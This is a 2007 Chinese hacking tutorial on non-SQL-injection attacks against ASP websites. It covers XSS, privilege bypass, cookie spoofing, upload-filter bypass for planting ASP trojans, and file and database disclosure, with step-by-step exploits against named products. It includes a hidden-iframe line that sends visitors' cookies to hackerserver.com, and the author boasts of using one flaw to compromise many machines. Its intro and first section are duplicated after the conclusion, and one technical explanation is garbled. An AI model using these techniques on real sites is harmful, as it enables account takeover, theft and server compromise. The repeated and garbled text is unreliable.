網(wǎng)站程序中非SI漏洞的利用
更新時(shí)間:2007年01月16日 00:00:00 作者:
Part I 前言
現(xiàn)在網(wǎng)上最流行的網(wǎng)站攻擊手段,要數(shù)得上SQL Injection了,雖然SI技術(shù)易學(xué)易用,并且容易取得較大的權(quán)限,但因其風(fēng)頭實(shí)在太大,現(xiàn)在一般稍有點(diǎn)安全意識(shí)的程序員都會(huì)注意到這個(gè)問題,并且通過GET方法提交的數(shù)據(jù)會(huì)被服務(wù)器記錄在案,而讓網(wǎng)管很容易找到入侵者。
非SI類攻擊相對(duì)來(lái)說(shuō)獲得的服務(wù)器操作權(quán)限不大,但對(duì)于以獲得數(shù)據(jù)為目的的入侵還是很有用的。
Part II 方法介紹
常規(guī)的非SI類攻擊有如下幾種:
一、 跨站腳本攻擊(XSS)
跨站腳本攻擊不會(huì)直接對(duì)網(wǎng)站服務(wù)器造成破壞,其主要的攻擊對(duì)象是網(wǎng)站的訪問者,這里入侵者大致有三種目的:
一是對(duì)網(wǎng)站頁(yè)面瀏覽者進(jìn)行侵害:如在網(wǎng)站頁(yè)面中加入自動(dòng)下載的代碼,或者利用像IE Frame漏洞等向?yàn)g覽者植入木馬,或者劫持瀏覽器等。
二是盜取瀏覽者的cookies。入侵者可以在自己的網(wǎng)站上建立一個(gè)可以接受并保存信息的頁(yè)面,并在被入侵網(wǎng)站的頁(yè)面上加入一個(gè)長(zhǎng)寬都為0的隱藏iframe,地址為:http://hackerserver.com/get.asp?info=document.cookies,服務(wù)器端的get.asp頁(yè)面接受info信息并保存在數(shù)據(jù)庫(kù)中,這樣入侵者就可以獲得瀏覽者在被入侵網(wǎng)站上的cookies信息了。如果盜取的是一般用戶的密碼,危害還不算很大,但是如果入侵者利用社會(huì)工程學(xué),讓登陸后并且密碼保存在cookies中的管理員訪問頁(yè)面,就可以盜取管理員的密碼,從而進(jìn)一步控制網(wǎng)站。
三是利用大量的訪客請(qǐng)求來(lái)重復(fù)某一操作。前一陣某商務(wù)網(wǎng)站消息說(shuō)國(guó)內(nèi)某著名搜索引擎在其搜索聯(lián)盟中加入隱藏的iframe訪問該商務(wù)網(wǎng)站,對(duì)其進(jìn)行DDOS攻擊導(dǎo)致其服務(wù)器負(fù)荷過大。且不說(shuō)這個(gè)事情是真是假,但是這種思路是我們應(yīng)該注意的。2004年11期《黑客X檔案》上有一篇名為《玩轉(zhuǎn)X樹下》的文章(第62頁(yè)),作者利用跨站腳本攻擊在頁(yè)面中插入了發(fā)帖的代碼,巨大的訪問量使垃圾帖數(shù)目暴漲,最后服務(wù)器不堪重負(fù)幾近崩潰。
跨站攻擊的手段看似簡(jiǎn)單,只需在提交的內(nèi)容(如留言,評(píng)論)中加入危險(xiǎn)的代碼即可,但如何繞過程序?qū)Ψ欠ㄗ址倪^濾,則是一件很復(fù)雜的事情。常用的手段有:變更大小寫、轉(zhuǎn)換為ASII碼或轉(zhuǎn)義符、調(diào)用遠(yuǎn)程js腳本文件等腳本的變形和隱藏方法、使用Flash的Geturl參數(shù)等等。
小訣竅
1、如何對(duì)付表單的檢測(cè)。
有些網(wǎng)站為了防止跨站腳本攻擊,在其表單中加入一些Javascript代碼來(lái)檢測(cè)文本框的值,如不合法就彈出對(duì)話框提示,并禁止提交,但是這種只在客戶端作的限制相當(dāng)于什么限制都沒作,我們可以把網(wǎng)頁(yè)保存到本地,去掉相應(yīng)的檢測(cè)的JS代碼,再修改網(wǎng)頁(yè)中form的action屬性,使其指向網(wǎng)站,再提交,如果網(wǎng)站沒有在服務(wù)器端再次作驗(yàn)證的話,就會(huì)被入侵。(河北省高中生信息技術(shù)會(huì)考程序就存在此漏洞。)
2、關(guān)于UBB。
UBB代碼是一些程序?yàn)榱嗽谙拗苃tml代碼的同時(shí)不致使提交的信息過于單調(diào)而運(yùn)用的一種手段,其方法就是讓用戶使用一些特定的標(biāo)簽,然后在服務(wù)器端轉(zhuǎn)換這些標(biāo)簽,但是如果轉(zhuǎn)換的語(yǔ)句沒有寫好的話仍然會(huì)造成危險(xiǎn)。(我們會(huì)在后面的實(shí)例中進(jìn)一步展示繞過UBB的方法。)
下面請(qǐng)跟我用實(shí)例來(lái)體會(huì)一下:
實(shí)例1-1:無(wú)過濾的腳本插入
這是動(dòng)感商城某一個(gè)版本的“客戶反饋”功能,是一個(gè)名為fk.asp的自提交頁(yè)面,其中將數(shù)據(jù)存儲(chǔ)至數(shù)據(jù)庫(kù)的代碼是這樣的。
rs.addnew
rs(\\"fksubject\\")=checkFFSQLStr(trim(request(\\"fksubject\\")))
rs(\\"fkleixing\\")=checkFFSQLStr(request(\\"fkleixing\\"))
rs(\\"fkcontent\\")=checkFFSQLStr(trim(request(\\"fkcontent\\"))) ‘看,沒有進(jìn)行危險(xiǎn)字符過濾
rs(\\"fkusername\\")=checkFFSQLStr(trim(request(\\"fkusername\\")))
rs(\\"fkemail\\")=checkFFSQLStr(trim(request(\\"fkemail\\")))
rs(\\"fktel\\")=checkFFSQLStr(trim(request(\\"fktel\\")))
rs(\\"fklaizi\\")=checkFFSQLStr(trim(request(\\"fklaizi\\")))
rs(\\"fkdate\\")=now
rs(\\"fkip\\")=Request.ServerVariables(\\"remote_addr\\")
rs.update
rs.close
我們不難發(fā)現(xiàn),程序在把數(shù)據(jù)存進(jìn)數(shù)據(jù)庫(kù)之前只對(duì)是否有能構(gòu)成SI的字符進(jìn)行了過濾(這個(gè)過濾恰恰是沒有必要的,因?yàn)閰?shù)不引入查詢條件)而對(duì)危險(xiǎn)字符如script等沒有進(jìn)行過濾,顯示留言的頁(yè)面lyb.asp也沒有先過濾再顯示。如果我們?cè)诹粞灾刑峤?lt;script>alert(document.cookie)</script>,就可以彈出用戶的cookies信息。(如圖一)
實(shí)例1-2:過濾不好的UBB的腳本插入
某著名Blog程序的UBB轉(zhuǎn)換頁(yè)面ubbcode.asp其中轉(zhuǎn)換危險(xiǎn)字符的一個(gè)片斷如下:
Str = Replace(Str, \\"script\\", \\"script\\")
Str = Replace(Str, \\"SCRIPT\\", \\"SCRIPT\\")
Str = Replace(Str, \\"Script\\", \\"Script\\")
Str = Replace(Str, \\"script\\", \\"Script\\")
我們可以提交sCRipt這樣的字符來(lái)繞過此限制,譬如提交信息
[ img ]javascript:window.close()[ /img ](去掉空格)
可以關(guān)閉窗口。
二、越權(quán)攻擊
越權(quán)攻擊是由于程序員對(duì)頁(yè)面的訪問權(quán)的檢測(cè)不完善而造成的使入侵者不需得到用戶或管理員的密碼即可訪問只有特定用戶或管理員才能訪問的頁(yè)面的一種漏洞。
這種越權(quán)讓我想到了很久很久以前(大約2000年以前),流行的“聊天室踢人大法”,就是利用訪問某些對(duì)用戶的權(quán)限檢測(cè)不完善的聊天室程序的負(fù)責(zé)踢人的頁(yè)面來(lái)達(dá)到任意踢人的目的。
不過這種越管理員權(quán)限的漏洞通常比較隱蔽,尤其是對(duì)非開源的程序,大多只能憑經(jīng)驗(yàn)來(lái)猜。再看一個(gè)越普通用戶權(quán)限的例子:某程序的修改用戶資料的頁(yè)面通過獲取GET的參數(shù)引入程序進(jìn)行處理,顯示相關(guān)數(shù)據(jù),如:http://targetzone.com/edituser.asp?userid=Daniel,這本來(lái)是修改用戶Daniel的資料,但是如果程序沒有加別的驗(yàn)證,我們就可以通過修改參數(shù)的值來(lái)修改任意用戶的資料,如提交http://targetzone.com/edituser.asp?userid=Kitty來(lái)修改Kitty用戶的資料。
程序員在制作此類程序是應(yīng)該驗(yàn)證session來(lái)判斷用戶是否登陸,并且應(yīng)該從session中獲取當(dāng)前登陸的用戶名,其余如Get,cookies等數(shù)據(jù)都是不可信的。
再一種越權(quán),我們可以稱之為“越步越權(quán)”,這類漏洞是針對(duì)于某些需要N個(gè)步驟完成的過程,第X步?jīng)]有檢測(cè)是否完成了X-1步而使攻擊者可以跳過前X-1步。這種漏洞常出現(xiàn)在找回密碼的程序中,最后驗(yàn)證完畢修改密碼的頁(yè)面只是把要修改的用戶名以隱藏域的方式放在了網(wǎng)頁(yè)中,但是下一步?jīng)]有進(jìn)行相關(guān)檢測(cè)導(dǎo)致可以修改任意用戶的密碼。
小訣竅
1、隱藏域的利用。
許多程序員喜歡使用表單隱藏域而并非session在程序中傳遞一些步驟中出現(xiàn)的參數(shù),對(duì)于某些非敏感數(shù)據(jù)來(lái)說(shuō),這樣可以節(jié)省一定的服務(wù)器資源,但是對(duì)于一些敏感數(shù)據(jù)來(lái)說(shuō),這是十分危險(xiǎn)的,因?yàn)橛脩綦m然在網(wǎng)頁(yè)上看不到隱藏域,但是用戶可以查看源代碼來(lái)找到隱藏域,并且可以通過把網(wǎng)頁(yè)保存到本地并且修改隱藏域的值來(lái)達(dá)到越權(quán)的目的。
好的,我們來(lái)看幾個(gè)實(shí)例:
實(shí)例2-1:某版本動(dòng)感商城找回用戶密碼的越步漏洞
動(dòng)感商城的這個(gè)版本漏洞很多,其找回密碼的部分分為4個(gè)頁(yè)面,getpwd.asp~getpwd4.asp,分別對(duì)應(yīng)填寫用戶名、填寫提示密碼答案、重新設(shè)置密碼、將新的密碼更新至數(shù)據(jù)庫(kù)的操作。其中g(shù)etpwd4.asp的部分代碼是這么寫的。
<%username=request(\\"username\\")
passwd=md5(trim(request.form(\\"passwd\\")))
set rs=Server.CreateObject(\\"Adodb.Recordset\\")
sql=\\"select * from [user] where username='\\"&username&\\"'\\"
rs.open sql,conn,1,3
If rs.eof Then
%>
<script language=\\"javascript\\">
alert(\\"這個(gè)用戶還沒有注冊(cè)呢,請(qǐng)到首頁(yè)注冊(cè)吧!\\")
location.href=\\"javascript :history.back()\\"
</script>
<%
else
rs(\\"userpassword\\")=passwd
rs.update
end if
rs.close
set rs=nothing
conn.close
set conn=nothing%>………
可以發(fā)現(xiàn)第一行沒有檢測(cè)requect來(lái)得數(shù)據(jù)到底是不是填寫了相關(guān)信息。
假設(shè)我們由于某種原因要盜取用戶Kitty的密碼:我們可以這樣做:先注冊(cè)一個(gè)新用戶Daniel,并記下所填寫的提示問題答案,然后去找回密碼,直到getpwd3.asp這個(gè)頁(yè)面,把此頁(yè)面保存至本地,用記事本打開頁(yè)面,把form的action屬性值中的Daniel改為Kitty,并把網(wǎng)址補(bǔ)充完整,然后在本地打開此頁(yè)面,填寫密碼并提交就可以修改Kitty的密碼為你剛才在這個(gè)頁(yè)面填寫的密碼。
實(shí)例2-2:九酷網(wǎng)絡(luò)個(gè)人主頁(yè)空間管理系統(tǒng)3.0的越權(quán)漏洞:
程序中檢測(cè)是否登陸是通過在頁(yè)面include文件chkuser.asp來(lái)實(shí)現(xiàn)的
<%if session(\\"user_userid\\")=\\"\\" or session(\\"user_username\\")=\\"\\" then ‘漏洞原因
Response.write\\"<script>alert('對(duì)不起,您還沒有登錄或登錄出錯(cuò)!');top.location.href='index.asp'</script>\\"
response.End
end if
%>
可以看到,這個(gè)文件只檢查了session是否為空,而沒有檢查到底的操作是否是當(dāng)前所登錄用戶的!所以這個(gè)程序存在多處越權(quán)漏洞,先看越用戶修改資料的漏洞:登陸后可以看到界面分為上、左、右三個(gè)框架。頂部的框架主要是幾個(gè)導(dǎo)航的連接,按住shift點(diǎn)”修改個(gè)人資料”,使其在新窗口打開,地址為:http://127.0.0.1/edituser.asp?userid=39&username=Daniel,不難看出,地址中的username參數(shù)的值就是當(dāng)前用戶名,那么我們把它改一下試試……打開頁(yè)面http://127.0.0.1/edituser.asp?userid=39&username=Kitty,Bingo!網(wǎng)頁(yè)上顯示出我們注冊(cè)Kitty用戶時(shí)填寫的資料!隨便改改吧……這里我們可以修改它的密碼提示問題和答案,然后再通過“忘記密碼”功能修改該用戶的密碼。再來(lái)看顯示并修改任意用戶文件的漏洞。經(jīng)檢測(cè),負(fù)責(zé)顯示文件列表的頁(yè)面是http://127.0.0.1/main.asp?userid=39&username=Daniel&path=Daniel,我們可以通過修改path的值這里對(duì)服務(wù)器上的文件進(jìn)行瀏覽,上傳,刪除,改名等操作。
實(shí)例2-3:LB5000修改注冊(cè)聲明的漏洞
由于雷傲的LB5000的setregmsg.cgi和setregrules.cgi兩個(gè)文件存在越權(quán)漏洞,導(dǎo)致攻擊者可以直接修改論壇“注冊(cè)聲明”和“短消息歡迎信息” 。提交如下請(qǐng)求可以修改“注冊(cè)聲明”:http://www.targetzome.com/ cgi-bin/setregrules.cgi?action=process&therules=要修改的內(nèi)容。我們可以通過這個(gè)寫入一些跨站的代碼。
三、cookies欺騙
什么是cookies呢, Cookies是一個(gè)儲(chǔ)存于瀏覽器目錄中的文本文件,記錄你訪問一個(gè)特定站點(diǎn)的信息,且只能被創(chuàng)建這個(gè)cookies的站點(diǎn)讀回,約由255個(gè)字符組成,僅占4KB硬盤空間。當(dāng)用戶正在瀏覽某站點(diǎn)時(shí),它儲(chǔ)存于客戶機(jī)的內(nèi)存中,退出瀏覽器后,它儲(chǔ)存于用戶的硬盤中。儲(chǔ)存在Cookies中的大部分信息是普通的,如當(dāng)你瀏覽一個(gè)站點(diǎn)時(shí),此文件記錄了每一次的擊鍵信息和被訪站點(diǎn)的地址等。但是許多Web站點(diǎn)使用Cookies來(lái)儲(chǔ)存針對(duì)私人的數(shù)據(jù),如:注冊(cè)口令、用戶名、信用卡編號(hào)等。
Cookies欺騙是在客戶端對(duì)網(wǎng)站要讀取的cookies修改成我們想偽裝的值而對(duì)程序進(jìn)行欺騙,讓其誤認(rèn)為我們是已登陸的用戶從而達(dá)到某種目的,可以說(shuō),這也是越權(quán)的一種方法。
我們還是說(shuō)有些程序員對(duì)風(fēng)險(xiǎn)估計(jì)不足,對(duì)于客戶端過于信任,把本應(yīng)該存儲(chǔ)在session中的敏感信息存儲(chǔ)在了cookies中導(dǎo)致了這種漏洞,所以這種漏洞相對(duì)來(lái)說(shuō)也是比較隱蔽的。
進(jìn)行這種攻擊的一般思路是得到合法的cookies->使用工具修改cookies->訪問限制頁(yè)面,越權(quán)成功。
假設(shè)我們?cè)谡军c(diǎn)http://targetzone.com上有一個(gè)合法帳號(hào)Daniel,現(xiàn)在我們想用用戶Kitty的身份登陸,但是我們沒有Kitty的密碼(廢話,否則還攻擊什么……),我們?cè)囋囉胏ookies欺騙的方法達(dá)到目的:
以Daniel的身份登陸targetzone.com并且選擇保存登陸資料,關(guān)閉瀏覽器,使用IECookiesView這個(gè)軟件打開本機(jī)的Cookies信息,選擇站點(diǎn)targetzone.com,修改username的值為Kitty,再次訪問網(wǎng)站,發(fā)現(xiàn)我們已經(jīng)以Kitty的身份登陸了。
但是這種攻擊也是有一個(gè)比較大的硬傷的,且不說(shuō)網(wǎng)站是否把信息保存在cookies中,單說(shuō)有的網(wǎng)站把用戶名和密碼一起保存在cookies中,每次訪問的時(shí)候先根據(jù)用戶名和密碼進(jìn)行檢測(cè),然后再判斷是否合法。所以說(shuō)這種漏洞其實(shí)單獨(dú)使用并不是非常有效,但是配合其他的入侵就好用多了,譬如下載了某站點(diǎn)的數(shù)據(jù)庫(kù),但是其中的密碼都是MD5加密的,除非暴力破解出MD5散列的值,否則無(wú)法在網(wǎng)站上登陸,不過如果網(wǎng)站是把用戶名和MD5后的密碼保存在Cookies中,我們就可以應(yīng)用了?;蛘呔W(wǎng)站防SI的措施比較嚴(yán)密,在url中找不到注入點(diǎn),可以在cookies中找注入點(diǎn)等。還有的網(wǎng)站把用戶的權(quán)限保存在cookies中,也可以通過修改來(lái)達(dá)到提升權(quán)限的目的。
實(shí)例3-1 某下載程序的欺騙漏洞:
其處理登陸的代碼是這樣的:
<%If Cookies(\\"down_Isadder\\")=\\"\\" then%>
<script language=\\"Vbscript\\">
msgbox(\\"對(duì)不起,您沒有權(quán)限管理用戶!如果您是管理員,請(qǐng)登陸!\\")
window.close()
</script>
<%Else%>
…………
真暈,只檢測(cè)了那個(gè)cookies是否為空,所以我們使用IECookiesView來(lái)把down_Isadder的值改為任意值(當(dāng)然,除了空值)都可以登陸管理。
實(shí)例3-2:L-blog的cookie越權(quán)上傳欺騙漏洞:
最近這個(gè)漏洞真是毀掉包括不少黑客在內(nèi)的WebLog啊。L-Blog的提取cookies的文件存在邏輯漏洞使得任意用戶可以跨越至管理員的權(quán)限上傳文件。
文件attachment.asp的部分代碼:
IF memStatus="SupAdmin" OR memStatus="Admin" Then
IF Request.QueryString("action")="upload" Then
可以看到,程序檢測(cè)SupAdmin的值是不是管理員所對(duì)應(yīng)的值,如果是就允許上傳,而并未檢測(cè)登陸的用戶是誰(shuí)。再看驗(yàn)證cookies的程序command.asp,檢測(cè)如果memName(cookies中取得的用戶名)為空,則不進(jìn)行任何操作。如果不為空,則驗(yàn)證保存的用戶名和密碼是否正確,不正確清空cookies。這里就為我們留下了一個(gè)漏洞,如果cookies中的用戶名的值(memName)為空,而用戶權(quán)限(memStatus)的值不為空,這樣command.asp文件就不驗(yàn)證用戶名和密碼,但是上傳頁(yè)面檢測(cè)到memStatus是管理員的,就可以上傳了。
我們可以先注冊(cè)普通用戶,登陸并保存cookies,修改cookies使memName的值為空,memStatus的值為SupAdmin或者Admin,然后就可以上傳了。
但是只能上傳某幾種文件,我們是不能上傳Asp木馬的,怎么辦呢……我們?cè)賮?lái)看看如何傳asp木馬。
四、非法上傳漏洞
以合法致非法,我們先來(lái)說(shuō)兩個(gè)簡(jiǎn)單的不算漏洞的漏洞。
一些程序限制了如asp,asa等擴(kuò)展名是不能上傳的,但是我們看看IIS的設(shè)置,發(fā)現(xiàn)還有一些擴(kuò)展名是由asp.dll解釋的,如cer所以如果某些程序不允許上傳asp文件,我們可以把木馬的擴(kuò)展名改為cer,然后再上傳,這時(shí)如果服務(wù)器沒有把cer的解析去掉的話,我們就可以運(yùn)行木馬了。還有一些擴(kuò)展名的文件,是可以執(zhí)行SSI(Server Side Include)指令的,如stm,上傳一個(gè)seeit.stm文件,內(nèi)容為” <!--#include file="conn.asp"-->”,然后訪問此文件,即可看到conn.asp文件的內(nèi)容。所以程序員在作上傳檢測(cè)的時(shí)候,應(yīng)該設(shè)定什么樣子的文件允許上傳而并非什么樣的文件不能上傳。
再說(shuō)關(guān)于上傳程序的漏洞。
前一陣子出現(xiàn)的動(dòng)網(wǎng)論壇的上傳漏洞可謂風(fēng)風(fēng)雨雨啊,Daniel也用這個(gè)漏洞攻下了許多頑固肉雞,我們先就動(dòng)網(wǎng)的上傳來(lái)分析:
動(dòng)網(wǎng)本來(lái)是不允許上傳asp等危險(xiǎn)文件的,但是其上傳的處理有一定的漏洞導(dǎo)致程序獲取的參數(shù)有誤而使入侵者可以上傳任意文件。
先看看提交上傳的一個(gè)頁(yè)面reg_upload.asp:
<form name=\\"form\\" method=\\"post\\" action=\\"upfile.asp\\" enctype=\\"multipart/form-data\\" >
<input type=\\"hidden\\" name=\\"filepath\\" value=\\"uploadFace\\">
<input type=\\"hidden\\" name=\\"act\\" value=\\"upload\\">
<input type=\\"file\\" name=\\"file1\\">
<input type=\\"hidden\\" name=\\"fname\\">
<input type=\\"submit\\" name=\\"Submit\\" value=\\"上傳\\" onclick=\\"fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;\\">
</form>
程序是提取file1表單和fname表單中的值來(lái)做判斷的.也就是說(shuō)直接從頁(yè)面遞交要上傳的asp文件程序是會(huì)檢測(cè)出來(lái)的。不過我們可以自己構(gòu)造數(shù)據(jù)包并使用NC提交,達(dá)到越過檢測(cè)的目的。但是我們的主要問題是上傳后的文件一定要是asp格式的,雖然file1的值合法,但是最終達(dá)到保存的擴(kuò)展名為asp的目的應(yīng)該怎么辦呢?
動(dòng)網(wǎng)所用的無(wú)組件上傳類中有一句是這么寫的:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&\\".\\"&fileExt
這個(gè)filename為程序生成的保存的文件的文件名。在計(jì)算機(jī)中檢測(cè)字符串的關(guān)鍵就是看是否碰到''字符, 如果是,則認(rèn)為字符串結(jié)束了.也就是說(shuō)我們?cè)跇?gòu)造上傳文件保存路徑時(shí),只要欺騙計(jì)算機(jī),讓他認(rèn)為類似"uploadfaceDaniel.asp" 這樣的路徑參數(shù)已經(jīng)結(jié)束了,就可以達(dá)到我們的目的了。
這種漏洞的原理就分析到這里,現(xiàn)在很多上傳都存在這種漏洞,先抓包再手動(dòng)提交實(shí)在太累了,Daniel建議大家使用網(wǎng)上的一些上傳漏洞利用工具來(lái)減輕負(fù)擔(dān)。
再來(lái)看一個(gè)My動(dòng)力3.51的漏洞。其上傳頁(yè)面Upfile_Soft.asp的部分代碼是這樣的:
Fot i=0 to ubound(arrUpFileType)
If fileEXT=trim(arrUpFileType(i)) then
Enableupload=true
因?yàn)镸y動(dòng)力所采用的上傳類可以上傳多個(gè)文件,我們從上面的代碼可以看出,如果上傳多個(gè)文件時(shí),第N-1個(gè)文件的擴(kuò)展名不合法,而第N個(gè)文件的擴(kuò)展名合法的話,是可以通過檢測(cè)的。所以我們只要自己構(gòu)造頁(yè)面,上傳兩個(gè)文件,并且第二個(gè)的擴(kuò)展名是程序可以上傳的,就可以了。但是My動(dòng)力系統(tǒng)是禁止表單外部提交的,如何繞過這個(gè)限制呢,請(qǐng)看-表單的攻防。
小訣竅:
1、利用數(shù)據(jù)庫(kù)的備份恢復(fù)功能把合法變非法。
畢竟還是有許多系統(tǒng)不存在上傳的邏輯漏洞,那么我們?cè)趺瓷蟼髂_本木馬呢。這個(gè)訣竅要求你能登陸后臺(tái),并且網(wǎng)站系統(tǒng)有備份和恢復(fù)數(shù)據(jù)庫(kù)的功能。現(xiàn)通過合法渠道把木馬改名為合法的擴(kuò)展名上傳,然后在備份和恢復(fù)數(shù)據(jù)庫(kù)的頁(yè)面中,把上傳后的文件名寫在備份和恢復(fù)的路徑中,然后還原,由于程序是將數(shù)據(jù)庫(kù)以asp擴(kuò)展名存放的,所以木馬也可以正常解析了。
五、表單的攻防
本文前面一些地方已經(jīng)提到了一些關(guān)于程序中表單的不安全因素,現(xiàn)在我們來(lái)總結(jié)一下。對(duì)于表單的攻擊,主要的思路就是把含有表單的頁(yè)面保存到本地,修改去掉相關(guān)限制,并且將其action提交地址補(bǔ)全為網(wǎng)站上的地址,然后再提交。
所以不難看出,關(guān)于表單的一切,如果在服務(wù)器端不再次驗(yàn)證的話,都是危險(xiǎn)和不可信的。建議程序員在客戶端做表單合法性檢查的同時(shí)盡量在服務(wù)器端再次驗(yàn)證并且在服務(wù)器端加相應(yīng)的禁止外部提交的代碼。:
<%server_v1=Cstr(Request.ServerVariables(\\"HTTP_REFERER\\"))
server_v2=Cstr(Request.ServerVariables(\\"SERVER_NAME\\"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write \\"<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>\\"
response.write \\"<tr><td style='font:9pt Verdana'>\\"
response.write \\"你提交的路徑有誤,禁止從站點(diǎn)外部提交數(shù)據(jù)請(qǐng)不要亂該參數(shù)!\\"
response.write \\"</td></tr></table></center>\\"
response.end
end if%>
我們來(lái)想想有哪些表單的限制:Js合法性檢查、隱藏域、不可修改(ReadOnly)域。
不知道大家是否還記得ofstar論壇的論壇群組,采用一個(gè)readonly域顯示某一群組的成員,我們就可以把網(wǎng)頁(yè)下載下來(lái),去掉readonly屬性,然后自己加上你想加入此論壇的會(huì)員,然后提交……
小訣竅:
1、繞過禁止外部提交:
可以自己寫一個(gè)socket程序來(lái)修改http_referer的值,但是這種方法比較麻煩,我介紹一種簡(jiǎn)單的。
這個(gè)訣竅要求你有上傳圖片的權(quán)限。IE打開圖片的時(shí)候,如果圖片中是html代碼的話,就像網(wǎng)頁(yè)一樣可以運(yùn)行其代碼。這樣我們可以把構(gòu)造的頁(yè)面改擴(kuò)展名為圖片,并且上傳,訪問這個(gè)頁(yè)面并且提交就是在服務(wù)器端提交了。(注意:這種方法在構(gòu)造頁(yè)面的時(shí)候一定要把諸如<html>那些基礎(chǔ)標(biāo)簽都寫全。)
實(shí)例5-1:九酷網(wǎng)絡(luò)個(gè)人主頁(yè)空間管理系統(tǒng)3.0的向任意目錄上傳漏洞:
登陸后,點(diǎn)擊”上傳文件”按鈕,彈出一個(gè)網(wǎng)頁(yè),里面可以設(shè)定上傳個(gè)數(shù),還有一個(gè)上傳目錄的文本框,但是不可以修改,在IE中將這個(gè)頁(yè)面另存,然后找到文件的第44行,代碼為: <LI>上傳到: <INPUT class=INPUT style="WIDTH: 200px" ReadOnly…我們把這個(gè)ReadOnly刪除,然后找到文件第37行,把form標(biāo)簽的action屬性中的值補(bǔ)全(就是把網(wǎng)站地址加上) ,然后在本地打開這個(gè)頁(yè)面,此時(shí)”上傳倒”文本框已經(jīng)可以修改了,我們將其改為:../,選擇文件上傳,可以發(fā)現(xiàn),這個(gè)文件已經(jīng)傳到上一級(jí)目錄下了。
六、暴庫(kù)、暴文件內(nèi)容的漏洞
大家都聽說(shuō)過%5c暴庫(kù)漏洞吧,就是對(duì)于操作數(shù)據(jù)庫(kù)的頁(yè)面把地址欄最靠近文件名的那個(gè)”/”改為”%5c”,如果滿足以下條件,就可以看見數(shù)據(jù)庫(kù)的路徑:一般的錯(cuò)誤返回頁(yè)面是本地IE提供的,所以我們先得關(guān)了本地的錯(cuò)誤頁(yè)面,具體在菜單項(xiàng)的‘工具->internet選項(xiàng)->高級(jí)->顯示友好信息';對(duì)方數(shù)據(jù)庫(kù)要是Access型;%5c的暴庫(kù)需要的是二級(jí)目錄,一級(jí)目錄無(wú)法成功;對(duì)方的頁(yè)面沒有容錯(cuò)語(yǔ)句。原理比較復(fù)雜,請(qǐng)大家自己Google。
有的程序員喜歡把include的頁(yè)面擴(kuò)展名都寫成inc,并且許多教程也是這樣建議的,但是這樣使得程序存在一個(gè)大漏洞,由于inc默認(rèn)不是由asp.dll解析的,所以是直接以文本的方式顯示,這樣如果別人就可以直接訪問你的數(shù)據(jù)庫(kù)定義的頁(yè)面(如conn.inc)來(lái)的知數(shù)據(jù)庫(kù)地址或SQL帳號(hào)密碼。
有些網(wǎng)站為了防止軟件下載的盜鏈,對(duì)于下載軟件都是用一個(gè)頁(yè)面讀取,然后輸出流的方式傳送到客戶端,其文件名參數(shù)通常以GET方式附加在地址中,如http://targetzone.com/down.asp?path=Daniel.zip,我們先可以大概猜出其數(shù)據(jù)鏈接文件相對(duì)于軟件庫(kù)的位置,并且更改path參數(shù)的值,如果幸運(yùn)的話,就可以下載到未經(jīng)asp.dll解析的數(shù)據(jù)鏈接文件了。
Part III總結(jié)和后記
時(shí)間已到清晨,太陽(yáng)升起來(lái)了,陽(yáng)光灑滿大地,花了大概3天的業(yè)余時(shí)間寫的這篇文章到這里基本上就結(jié)束了,但是我要強(qiáng)調(diào)的是,網(wǎng)站程序中非SI的漏洞遠(yuǎn)不止于此,并且許多未知的邏輯漏洞還是未曾被發(fā)現(xiàn)的,本專題由于篇幅和時(shí)間的限制,僅對(duì)目前比較常用的一些手段作了簡(jiǎn)單的介紹,希望Daniel能對(duì)大家起到拋磚引玉的作用,各位如果真正認(rèn)真地研究一下網(wǎng)上一些程序的代碼,就可以發(fā)現(xiàn)許多未被別人發(fā)現(xiàn)的漏洞出現(xiàn)了。
漏洞并不可怕,可怕的是程序員沒有一種嚴(yán)謹(jǐn)?shù)膽B(tài)度和完整、周全的思路。
老編土豆曾問我怎么想到這個(gè)主題的,其實(shí)我只是對(duì)只會(huì)用NBSI亂注網(wǎng)站的菜鳥(包括我自己)的行為感到深深遺憾和擔(dān)憂,只會(huì)用工具的黑客不是黑客,我們一定要學(xué)會(huì)用自己的思想發(fā)現(xiàn)漏洞,修補(bǔ)漏洞,才能做到真正技術(shù)上的提高。
現(xiàn)在網(wǎng)上最流行的網(wǎng)站攻擊手段,要數(shù)得上SQL Injection了,雖然SI技術(shù)易學(xué)易用,并且容易取得較大的權(quán)限,但因其風(fēng)頭實(shí)在太大,現(xiàn)在一般稍有點(diǎn)安全意識(shí)的程序員都會(huì)注意到這個(gè)問題,并且通過GET方法提交的數(shù)據(jù)會(huì)被服務(wù)器記錄在案,而讓網(wǎng)管很容易找到入侵者。
非SI類攻擊相對(duì)來(lái)說(shuō)獲得的服務(wù)器操作權(quán)限不大,但對(duì)于以獲得數(shù)據(jù)為目的的入侵還是很有用的。
Part II 方法介紹
常規(guī)的非SI類攻擊有如下幾種:
一、 跨站腳本攻擊(XSS)
跨站腳本攻擊不會(huì)直接對(duì)網(wǎng)站服務(wù)器造成破壞,其主要的攻擊對(duì)象是網(wǎng)站的訪問者,這里入侵者大致有三種目的:
一是對(duì)網(wǎng)站頁(yè)面瀏覽者進(jìn)行侵害:如在網(wǎng)站頁(yè)面中加入自動(dòng)下載的代碼,或者利用像IE Frame漏洞等向?yàn)g覽者植入木馬,或者劫持瀏覽器等。
二是盜取瀏覽者的cookies。入侵者可以在自己的網(wǎng)站上建立一個(gè)可以接受并保存信息的頁(yè)面,并在被入侵網(wǎng)站的頁(yè)面上加入一個(gè)長(zhǎng)寬都為0的隱藏iframe,地址為:http://hackerserver.com/get.asp?info=document.cookies,服務(wù)器端的get.asp頁(yè)面接受info信息并保存在數(shù)據(jù)庫(kù)中,這樣入侵者就可以獲得瀏覽者在被入侵網(wǎng)站上的cookies信息了。如果盜取的是一般用戶的密碼,危害還不算很大,但是如果入侵者利用社會(huì)工程學(xué),讓登陸后并且密碼保存在cookies中的管理員訪問頁(yè)面,就可以盜取管理員的密碼,從而進(jìn)一步控制網(wǎng)站。
